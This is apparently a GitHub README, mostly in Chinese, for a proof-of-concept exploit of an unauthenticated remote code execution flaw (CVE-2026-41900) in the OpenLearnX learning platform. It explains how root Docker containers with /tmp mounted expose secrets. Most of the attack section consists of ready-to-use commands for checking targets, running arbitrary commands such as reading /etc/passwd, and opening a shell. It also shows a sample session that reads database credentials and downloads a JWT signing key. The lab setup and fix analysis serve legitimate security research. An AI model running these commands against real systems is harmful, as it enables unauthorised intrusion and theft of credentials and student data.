Christbowel/CVE-2026-41900-POC
GitHub: Christbowel/CVE-2026-41900-POC
针对 OpenLearnX 平台未授权 RCE 漏洞(CVE-2026-41900)的 PoC 利用工具,通过无认证编译接口结合不安全 Docker 卷挂载实现代码执行与敏感信息读取。
Stars: 2 | Forks: 0
OpenLearnX-RCE
OpenLearnX Unauthenticated RCE via Container Volume Mount
Diff-based discovery → Silent patch → Sandbox escape → Full /tmp disclosure
| 属性 | 值 |
|---------------------------|----------------------------------------------------------|
| **名称** | OpenLearnX-RCE
| **CVE** | CVE-2026-41900 |
| **GHSA** | GHSA-8h25-q488-4hxw |
| **类型** | 未授权信息泄露 / RCE |
| **受影响版本** | OpenLearnX < commit `14765d7` |
| **修复版本** | Commit `14765d7` (real_compiler_service) |
| **CVSS** | 8.6 (High) |
| **CWE** | CWE-538, CWE-377, CWE-250 |
## 我是如何发现它的
[OSDC](https://christbowel.github.io/OSDC/silent.html)(我的自动化补丁智能流水线)标记了关于 OpenLearnX 的一份隐秘安全通告 —— GHSA-8h25-q488-4hxw 在没有任何技术细节的情况下被发布了。我拉取了修复提交(`14765d7`)并将其与其父提交(`d19c4e4`)进行了差异对比。
差异对比说明了全部问题:`backend/routes/coding.py` 中的 `execute_in_container()` 被彻底移除,并替换为经过加固的 `real_compiler_service`。旧代码将用户提供的代码写入一个临时文件,然后将 `os.path.dirname(temp_file)` —— 解析为 `/tmp` —— 作为只读卷挂载到一个同级 Docker 容器中。没有设置 `user=`,没有 `cap_drop`,也没有 `security_opt`。默认以 Root 权限运行。
更要命的是:位于 `/api/compiler/execute` 的 `compiler` 蓝图**没有任何身份验证装饰器**。任何未经身份验证的请求都可以通过这个存在漏洞的容器配置触发代码执行。
我在本地实验室中隔离了修补前的代码,确认了所有攻击向量,并编写了这个 PoC。
## 漏洞概述
```
POST /api/compiler/execute (no auth)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ resolves to /tmp → ENTIRE /tmp mounted into container
│
├─ No user= → runs as root (UID 0)
├─ No cap_drop → default Docker capabilities
├─ No security_opt → default seccomp profile
│
└─ Attacker reads: secrets, creds, JWT keys, other users' submissions
```
## 利用组件 (Gadgets)
| 利用组件 (Gadget) | 严重性 | CWE | 描述 |
|----------------|------------|---------|--------------------------------------------|
| `listing` | HIGH | CWE-538 | 通过卷挂载列出 /tmp 目录 |
| `secrets` | CRITICAL | CWE-538 | 从 /tmp 读取凭据、密钥、配置 |
| `submissions` | HIGH | CWE-538 | 读取其他学生的代码提交 |
| `rootcheck` | MEDIUM | CWE-250 | 确认以 UID 0 (root) 执行 |
| `caps` | MEDIUM | CWE-250 | 导出有效的 Linux capabilities |
## 安装
```
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 无依赖 — 仅 stdlib
chmod +x exploit.py
```
## 用法
```
# 检查目标是否存在漏洞
python3 exploit.py --check http://target:5000
# 运行所有 gadget + 生成证据 JSON
python3 exploit.py --exploit http://target:5000
# 执行单个命令
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# 进入交互式 shell
python3 exploit.py --shell http://target:5000
# 运行特定 gadget
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
```
### Shell 命令
一旦进入 `--shell` 模式,你将获得一个伪交互式 shell。每个命令都会生成一个新的临时容器。
```
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:S3cretPa$$w0rd@db.internal:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Downloaded jwt_signing_key.pem (235B)
root@container:/app# exit
```
## 实验环境搭建
要在本地复现:
```
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
```
该实验环境部署了一个容器化的 Flask 应用,它复现了修补前的 `execute_in_container()`,包含以下特点:
- 挂载了 Docker socket(同级容器模式)
- `/tmp` 在主机和 app 容器之间共享
- 包含模拟密钥和学生提交的种子文件
## 修复分析
Commit `14765d7` 将 `execute_in_container()` 替换为了 `real_compiler_service`,应用了以下安全措施:
```
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # isolated tmpdir per exec
cap_drop=["ALL"], # drop all capabilities
security_opt=["no-new-privileges:true"], # prevent priv esc
user="65534:65534", # nobody, not root
...
)
```
## 时间线
| 日期 | 事件 |
|------------|-----------------------------------------------------|
| 2026-04 | OSDC 标记了隐秘通告 GHSA-8h25-q488-4hxw |
| 2026-04 | 对 commit `14765d7` 与父提交 `d19c4e4` 进行差异分析|
| 2026-05 | 实验室复现及 PoC 开发 |
| 2026-05-06 | 完整 PoC 确认 —— 所有 5 个攻击向量均已验证 |
## 免责声明
本工具仅供**授权安全测试和教育目的**使用。请仅在你拥有或已获得明确书面测试许可的系统上使用。未经授权访问计算机系统是违法行为。
Christbowel · christbowel.com · Balgo 安全团队
标签:CISA项目, CVE-2026-41900, CVSS 8.6, CWE-250, CWE-377, CWE-538, Docker安全, GHSA-8h25-q488-4hxw, OpenLearnX, PoC, Python后端, 临时文件漏洞, 信息泄露, 容器卷挂载, 容器逃逸, 文件包含, 暴力破解, 未授权访问, 沙箱逃逸, 网络安全, 补丁对比分析, 请求拦截, 远程代码执行(RCE), 逆向工具, 隐私保护